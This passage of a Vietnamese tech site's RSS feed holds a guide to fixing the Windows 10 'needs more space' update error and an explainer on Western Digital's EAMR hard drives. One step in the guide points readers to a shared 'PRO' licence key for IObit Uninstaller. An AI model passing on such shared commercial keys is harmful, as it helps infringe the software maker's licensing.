<p>Theo Microsoft, bạn cần ít nhất 32GB dung lượng ổ đĩa trống để nâng cấp lên phiên bản Windows 10 mới nhất &#8211; cho dù bạn đang sử dụng HĐH Windows 32 hay 64 bit. Nếu bạn có ít dung lượng ổ đĩa hơn, bạn có thể gặp phải lỗi &#8220;Windows needs more space&#8221;.</p>
<p>Trên một số thiết bị, chẳng hạn như máy tính bảng Windows 10 chỉ có 16GB hoặc 32GB dung lượng lưu trữ, bạn có thể tiết kiệm thêm dung lượng ổ đĩa bằng cách cài đặt Windows 10 Compact OS.</p>
<p>Nếu bạn không muốn sử dụng Windows 10 Compact OS thì đây là 4 cách để giải phóng dung lượng ổ đĩa và tiếp tục nâng cấp Windows của bạn lên phiên bản mới nhất.</p>
<h2>1. Dọn dẹp ổ đĩa</h2>
<p>Khi không đủ dung lượng ổ đĩa cho bản cập nhật Windows 10, bạn có thể tạo thêm dung lượng bằng cách dọn dẹp ổ đĩa mà Windows 10 được cài đặt, thường là ổ C.</p>
<p>Công cụ Disk Cleanup của Windows 10 có thể giúp bạn làm việc này. Disk Cleanup sẽ quét nhanh ổ đĩa để tìm các tệp rác không cần thiết cho hệ thống PC.</p>
<p>Sử dụng công cụ Disk Cleanup là cách tốt nhất để tạo thêm dung lượng ổ đĩa mà không ảnh hưởng đến các tệp quan trọng của bạn. Để sử dụng công cụ này, bạn cần thực hiện các bước sau:</p>
<ol>
<li>Mở Start Menu và tìm kiếm <strong>Disk Cleanup</strong>, chọn kết quả đầu tiên:</li>
<li>Khi cửa sổ <strong>Disk Cleanup: Drive Selection</strong> hiện lên, chọn <strong>ổ C:</strong> và nhấn <strong>OK</strong>.</li>
<li>Bạn sẽ thấy cửa sổ <strong>Disk Cleanup for Drive (C:) </strong>hiện lên, tiếp theo nhấn <strong> Clean up system files.</strong></li>
<li>Chọn tất cả các file mà bạn muốn xóa và nhấn <strong>OK</strong>.</li>
</ol>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/04/34.png" alt="Disk Cleanup" width="563" height="352" title="Cách sửa lỗi &quot;Windows needs more space&quot; khi cập nhật Windows 10 89"></p>
<p>Để tạo thêm dung lượng cho ổ C:, bạn có thể xóa thủ công một số tệp mà bạn không cần nữa.</p>
<p>Bạn có thể bắt đầu bằng cách xóa thư mục có tên <strong>Windows.old</strong>, chứa tất cả dữ liệu cũ của phiên bản cập nhật Windows trước đây. Đây là thư mục được tạo tự động bất cứ khi nào bạn nâng cấp Windows 10. Chỉ xóa thư mục này nếu bạn hoàn toàn hài lòng với phiên bản Windows 10 hiện tại của mình và không có ý định quay lại phiên bản cũ.</p>
<h2>2. Tăng dung lượng ổ C: bằng Disk Management</h2>
<p>Nếu bạn không thể dọn dẹp đủ dung lượng ổ đĩa trên PC, thì bạn nên mở rộng ổ đĩa của mình. Việc này sẽ cung cấp cho bạn đủ dung lượng cho bản cập nhật Windows 10. Tất nhiên, cách này chỉ hoạt động nếu bạn có dung lượng chưa được phân bổ trên ổ đĩa của mình, nhưng bạn vẫn nên thử xem.</p>
<ol>
<li>Tìm kiếm từ khóa <strong>disk part</strong> trên Start Menu và chọn kết quả đầu tiên.</li>
<li>Khi cửa sổ <strong>Disk Management</strong> xuất hiện, hãy kiểm tra xem bạn có dung lượng chưa được phân bổ trên ổ C: hay không. Nếu bạn có một số không gian chưa được phân bổ, hãy nhấp chuột phải vào ổ C: và chọn <strong>Extend Volume</strong> để thêm dung lượng chưa được phân bổ vào ổ C:</li>
</ol>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/04/35.png" alt="Disk Management" width="563" height="352" title="Cách sửa lỗi &quot;Windows needs more space&quot; khi cập nhật Windows 10 90"></p>
<h2>3. Tạo thêm dung lượng bằng cách sử dụng bộ nhớ ngoài</h2>
<p>Nếu không đủ dung lượng ổ đĩa trên PC, bạn có thể sử dụng thiết bị lưu trữ bên ngoài để hoàn tất quá trình cập nhật Windows 10. Bạn sẽ cần một thiết bị lưu trữ ngoài với khoảng 10GB dung lượng trống trở lên, tùy thuộc vào mức dung lượng bổ sung mà bạn cần.</p>
<p>Tiếp theo, truy cập vào <strong>Start &gt; Settings &gt; Update &amp; Security &gt; Windows Update &gt; Check for Updates.</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/04/36.png" alt="Check for Updates" width="563" height="352" title="Cách sửa lỗi &quot;Windows needs more space&quot; khi cập nhật Windows 10 91"></p>
<p>Windows sẽ hiện lên thông báo lỗi &#8220;Windows needs more space&#8221;&#8221;. Trên trang cập nhật Windows, chọn <strong>Fix issues</strong>. Thao tác này sẽ khởi chạy công cụ cập nhật Windows cho phép bạn cập nhật PC bằng thiết bị lưu trữ bên ngoài. Từ đây, hãy làm theo các bước sau:</p>
<ol>
<li>Kết nối thiết bị lưu trữ ngoài có đủ dung lượng trống với máy tính của bạn.</li>
<li>Trên trang cập nhật Windows, bạn sẽ thấy tùy chọn <strong>External Storage Device </strong>trong menu drop-down. Chọn thiết bị lưu trữ ngoài của bạn từ menu, sau đó nhấp vào <strong>Next</strong> để tiếp tục.</li>
<li>Làm theo hướng dẫn trên màn hình để hoàn tất cài đặt bản cập nhật. Sau khi quá trình cài đặt hoàn tất, bạn có thể tháo thiết bị lưu trữ bên ngoài của mình ra và khởi động lại PC.</li>
</ol>
<h2>4. Tìm và gỡ các chương trình lớn bằng phần mềm của bên thứ ba</h2>
<p>Bạn cũng có thể xóa các phần mềm lớn để giải phóng dung lượng ổ cứng của mình. Windows 10 cũng có công cụ gỡ cài đặt riêng nhưng nó không thể gỡ sạch hoàn toàn phần mềm đó. Vậy nên các công cụ gỡ cài đặt của bên thứ 3 như IObit Uninstaller sẽ là lựa chọn tốt hơn nhiều.</p>
<p>Bạn có thể dùng phiên bản miễn phí của <a href="https://www.iobit.com/en/advanceduninstaller.php" target="_blank" rel="noopener">IObit Uninstaller</a> để gỡ các phần mềm lớn không còn sử dụng nữa:</p>
<ol>
<li>Tải và cài đặt phiên bản miễn phí của <a href="https://anonyviet.com/download-iobit-uninstaller-10-pro-full-key/" target="_blank">IObit Uninstaller</a> hoặc dùng Key bản quyền PRO do AnonyViet chia sẻ.</li>
<li>Mở <strong>IObit Uninstaller</strong> lên và chọn các phần mềm lớn bạn muốn gỡ cài đặt.</li>
<li>Sau khi chọn xong thì bấm nút <strong>Uninstall.</strong></li>
<li>Một cửa sổ sẽ hiện lên với nội dung “Are you sure you want to uninstall the selected programs?” Bạn sẽ có 2 tùy chọn là tạo điểm khôi phục và tự động xóa các tệp còn sót lại. Nhấp vào <strong>Uninstall</strong> để gỡ cài đặt các phần mềm đã chọn.</li>
</ol>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/04/37.png" alt="Cách sửa lỗi &quot;Windows needs more space&quot; khi cập nhật Windows 10 48" width="563" height="352" title="Cách sửa lỗi &quot;Windows needs more space&quot; khi cập nhật Windows 10 92"></p>
<p>Việc xóa các chương trình lớn bằng công cụ như IObit Uninstaller sẽ đảm bảo không còn thư mục, tệp và Registry nào còn sót lại. Tuy nhiên, nếu bạn tìm thấy các tệp lớn và không muốn xóa chúng, bạn có thể di chuyển chúng sang thiết bị lưu trữ ngoài hoặc bộ nhớ đám mây để giải phóng dung lượng ổ đĩa.</p>
<h2>Cập nhật Windows 10 của bạn bất kỳ lúc nào</h2>
<p>Cập nhật Windows 10 là điều bạn nên làm thường xuyên. Việc này giúp bảo vệ PC của bạn khỏi các lỗi hệ thống và các cuộc tấn công của phần mềm độc hại. Và tạo thêm các lỗi cho bạn fix, đặc sản của Windows 10 rồi. Bạn có thể sử dụng các cách trên để khắc phục lỗi &#8220;Windows needs more space&#8221; nhưng mình nghĩ cách tốt nhất là bạn nên mua thêm ổ cứng để cài Windows 10. Mình thì đang chia cho ổ C: khoảng 150GB, còn bạn thì sao?</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi cần bao nhiêu dung lượng trống để cập nhật Windows 10?</h3>
<p>Theo Microsoft, bạn cần tối thiểu 32GB dung lượng trống trên ổ đĩa hệ thống để cập nhật lên phiên bản Windows 10 mới nhất.</p>
<h3>Tôi có thể sử dụng thiết bị lưu trữ ngoài để cập nhật không?</h3>
<p>Có, bạn có thể sử dụng thiết bị lưu trữ ngoài (USB, ổ cứng di động&#8230;) có đủ dung lượng để lưu trữ tệp cập nhật. Windows sẽ cho phép bạn chọn thiết bị lưu trữ ngoài trong quá trình cập nhật.</p>
<h3>Làm sao để giải phóng dung lượng ổ đĩa một cách nhanh chóng?</h3>
<p>Bạn có thể sử dụng công cụ Disk Cleanup tích hợp sẵn trong Windows 10 để xóa các tệp tạm thời và không cần thiết.  Ngoài ra, bạn cũng có thể gỡ cài đặt các chương trình không sử dụng nữa.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/loi-windows-needs-more-space-khi-update-windows/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ổ cứng EAMR là gì và nó hoạt động như thế nào?</title>
		<link>https://anonyviet.com/o-cung-eamr-la-gi-va-no-hoat-dong-nhu-the-nao/</link>
					<comments>https://anonyviet.com/o-cung-eamr-la-gi-va-no-hoat-dong-nhu-the-nao/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Fri, 07 Aug 2020 06:08:19 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[EAMR]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ổ đĩa]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=21065</guid>

					<description><![CDATA[Ổ cứng đĩa cứng cũng giống như máy in vậy: công nghệ này quá cũ và đều được hiểu rõ, nên thực sự chẳng có gì mới xảy ra cả. Bên cạnh đó, không phải chúng ta đều hiểu về NVMe và SATA SSD ngày nay. Càng chưa kể WD vừa cho ra mắt ổ [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Ổ cứng đĩa cứng cũng giống như máy in vậy: công nghệ này quá cũ và đều được hiểu rõ, nên thực sự chẳng có gì mới xảy ra cả. Bên cạnh đó, không phải chúng ta đều hiểu về NVMe và SATA SSD ngày nay. Càng chưa kể WD vừa cho ra mắt ổ cứng EAMR.</strong></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/08/o-cung-EAMR.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/08/o-cung-EAMR.jpg" alt="Ổ cứng EAMR là gì" width="678" height="339" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 97"></a></p>
<h2>Ổ cứng EAMR đều dành cho các doanh nghiệp lớn</h2>
<p>Mặc dù người tiêu dùng đều đã dần quên ổ cứng cơ học, nhưng các trung tâm dữ liệu vẫn đang tìm kiếm các ổ đĩa cứng có dung lượng cao hơn. Đó là lý do tại sao Western Digital (WD) đã phát triển các ổ đĩa mới dành cho doanh nghiệp, thứ đang được phát triển được WD gọi là &#8220;ePMR&#8221; (energy-assisted perpendicular magnetic recording).</p>
<p>Vào tháng 7 năm 2020, Western Digital đã công bố các ổ đĩa mới của mình, bao gồm các ổ đĩa Gold Enterprise 16 và 18 TB, và một ổ EAMR Ultrastar với dung lượng khổng lồ 20 TB sắp ra mắt.</p>
<p>Đó là lượng dung lượng cực kì lớn được gói gọn trong một ổ đĩa cũng chẳng kém phần lôi cuốn. Thật không may, bạn không thể đặt con quái vật 3,5 inch này vào dàn máy của mình trong thời điểm hiện tại. Bời vì lúc này, những con quá vật này thuộc về các doanh nghiệp lớn.</p>
<p>Tuy nhiên, đối với những người đam mê công nghệ mới, ePMR thực sự đáng chú ý.</p>
<h2>Các nhà sản xuất ổ cứng đang theo đuổi điều gì?</h2>
<p>Mỗi thành phần trong máy tính đều được các kỹ sư muốn cải thiện. Khi nói đến CPU, họ thường muốn thu nhỏ kích thước và tăng xung nhịp lên. Tuy nhiên, khi nói đến ổ cứng, thì trọng tâm vẫn là nhét nhiều bit dữ liệu hơn và cùng một kích thước đĩa.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/08/23.jpg" alt="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 52" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 98"></p>
<p>Ổ đĩa cứng bao gồm một số thành phần, nhưng có hai thứ quan trọng nhất là đĩa chứa dữ liệu, và đầu đọc/ghi dữ liệu.</p>
<p>Ổ cứng lưu dữ liệu bằng cách sử dụng hệ nhị phân. Đầu ghi dữ liệu sẽ di chuyển trên đãi quay và sử dụng từ trường để ghi dữ liệu theo mẫu tương ứng với số 0 và 1.</p>
<p>Mọi người thường so sánh ổ cứng với máy ghi hình vinyl. Bản ghi chứa âm thanh và được một cây kim đi tới cái điểm cụ thể để lấy dữ liệu. Trên LP, bạn thực sự có thể đếm các rãnh trên vinyl để thả kim vào đúng rãnh (mấy cái máy phát nhạc dùng đĩa hồi xưa ấy). Dữ liệu trên ổ cứng quá nhỏ, nên bạn không thể di chuyển thủ công đầu đọc đến một vị trí nhất định, do đó bạn phải cần máy tính thực hiện.</p>
<p>Tuy nhiên, không giống như LP, đầu đọc không chỉ đọc dữ liệu mà còn có thể ghi dữ liệu. Vấn đề là hoạt động ghi trên các ổ đĩa không phải EAMR đều không chính xác. Điều này có nghĩa là các bit dữ liệu không thể được sắp xếp chặt chẽ với nhau.</p>
<p>Vậy nên, EAMR xuất hiện nhằm mục đích giải quyết điều này bằng cách cho phép ghi các bit gần hơn vào ổ đĩa (nói cách khác là ghi các bit liên quan gần nhau hơn). Các ổ WD áp một dòng điện vào đầu ghi trong khi nó vẫn đang hoạt động. Điều này tạo ra thêm một từ trường, giúp tạo ra tín hiệu ghi phù hợp hơn. Cũng có nghĩa là dữ liệu có thể được ghi vào ổ đĩa chính xác hơn.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/08/24.png" alt="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 53" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 99"></p>
<p>Khi dữ liệu được ghi vào ổ đĩa chính xác hơn, nó có thể đóng gói nhiều bit hơn trên mỗi inch (BPI) trong cùng một bề mặt. Đây là lý do tại sao EAMR là một bước tiến lớn đối với các ổ cứng: hoạt động ghi chính xác hơn đồng nghĩa với việc có thể ghi nhiều dữ liệu hơn trên đĩa, làm tăng mật độ diện tích của nó.</p>
<p>Tuy nhiên, EAMR không phải là một tiến bộ độc lập, nó chỉ là một trong những tính năng hoạt động cùng nhau để giúp tăng dung lượng ổ cứng. Một tiến bộ lớn khác trên các ổ đĩa WD Gold mới là bộ truyền động ba trạng thái (TSA). Giải pháp cơ học này chính xác hơn đầu đọc/ghi trên đĩa.</p>
<p>Trong những năm qua, các nhà sản xuất ổ đĩa đã có những tiến bộ khác để làm tăng hiệu suất của ổ đĩa. Tại một thời điểm nào đó, họ sẽ chế tạo ra các đĩa mỏng hơn để nhét thêm đĩa vào ổ đĩa cùng kích cỡ.</p>
<p>Khi điều đó đã phát triển hết mức có thể, các công ty như WD sẽ đưa nó lên một tầm cao mới bằng cách tạo ra chỗ chứa đầy khí heli cho các đĩa. Điều này làm giảm ma sát và nhiệt độ bên trong ổ đĩa, làm cho ổ đĩa tiết kiệm năng lượng hơn.</p>
<p>Tất cả điều này sẽ giúp bạn đặt nhiều đĩa hơn vào cùng một ổ đĩa. WD cũng đã cải thiện quy trình này, từ 7 đĩa vào năm 2013 lên 9 đĩa ở hiện tại.</p>
<p>Mặc dù đó là một bước tiến quan trọng, nhưng EAMR vẫn hoạt động cùng với các công nghệ khác để làm tăng dung lượng các ổ đĩa lên.</p>
<h2>Chỉ dành cho doanh nghiệp (ở hiện tại)</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/08/25.jpg" alt="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 54" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 100"></p>
<p>Mặc dù các ổ đĩa cứng có dung lượng lớn là một triển vọng đầy hấp dẫn cho các máy tính cá nhân, nhưng vẫn chưa đến lượng chúng ta sử dụng đâu. Mặc dù điều này có thể thay đổi trong một vài năm nữa. Các ổ đĩa chứa đầy khí heli ban đầu cũng là một tính năng dành riêng cho doanh nghiệp, nhưng chúng đã đến tay những người tiêu dùng trong khoảng ba năm sau đó. Bạn có thể tìm thấy chúng trong các ổ đĩa có dung lượng 12 TB trở lên, như một số ổ cứng gắn ngoài của WD chẳng hạn.</p>
<p>Đây là câu trả lời của WD khi nhận được câu hỏi về triển vọng của EAMR và TSA ở cấp độ người tiêu dùng:</p>
<p>&#8220;Mặc dù chúng tôi không chia sẻ các kế hoạh và lộ trình trong tương lai, nhưng chúng tôi luôn lắng nghe nhu cầu của khách hàng và nhận ra rằng các yêu cầu lưu trữ liệu đang gia tăng trên nhiều phân khúc thị trường, bao gồm cả người tiêu dùng.&#8221;</p>
<p>Không cần ổ chứng NAS, máy tính để bàn đã có được dung lượng khá tốt rồi. Chỉ vài năm trước, ổ đĩa 1 hoặc 2 TB là một vấn đến lớn, nhưng bây giờ, bạn lại có thể mua ổ đĩa 6 hoặc 8 TB dễ dàng. Mang suy nghĩ đó sang nhiều ổ NVMe và SSD, bạn cũng có thể mua khá nhiều ổ cứng đấy.</p>
<p>Tuy nhiên, khái nhiệm 16 TB trở lên trên một ổ đĩa là một ý tưởng hấp dẫn. Dường như bất chấp hiệu năng đáng kinh ngạc của SSD NVMe và SATA, tương lai của ổ cứng cơ vẫn còn rộng mở.</p>
<p>Nếu bạn đang quan tâm sức khoẻ của ổ cứng, bạn có thể tìm hiểu thêm bài viết <a href="https://anonyviet.com/huong-dan-kiem-tra-suc-khoe-o-cung-tren-may-tinh/">Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Ổ cứng EAMR là gì?</h3>
<p>EAMR (energy-assisted perpendicular magnetic recording) là một công nghệ ghi dữ liệu trên ổ cứng cho phép ghi các bit dữ liệu gần nhau hơn, nhờ đó tăng mật độ lưu trữ và dung lượng ổ đĩa.  Nó hoạt động bằng cách áp dụng một dòng điện vào đầu ghi, tạo ra từ trường mạnh hơn giúp ghi dữ liệu chính xác hơn.</p>
<h3>Công nghệ EAMR có sẵn cho người dùng cá nhân không?</h3>
<p>Hiện tại, công nghệ EAMR chủ yếu được sử dụng trong các ổ cứng dành cho doanh nghiệp với dung lượng lớn (16TB trở lên).  Tuy nhiên, Western Digital cho biết họ luôn lắng nghe nhu cầu khách hàng và khả năng EAMR sẽ có mặt trên thị trường người tiêu dùng trong tương lai là hoàn toàn có thể.</p>
<h3>So với các loại ổ cứng khác, EAMR có ưu điểm gì nổi bật?</h3>
<p>Ưu điểm chính của EAMR là khả năng tăng đáng kể dung lượng lưu trữ trên cùng một kích thước vật lý của ổ cứng, nhờ vào việc ghi dữ liệu chính xác và mật độ cao hơn.  Điều này giúp giải quyết bài toán lưu trữ dữ liệu ngày càng tăng cho các trung tâm dữ liệu lớn.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/o-cung-eamr-la-gi-va-no-hoat-dong-nhu-the-nao/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
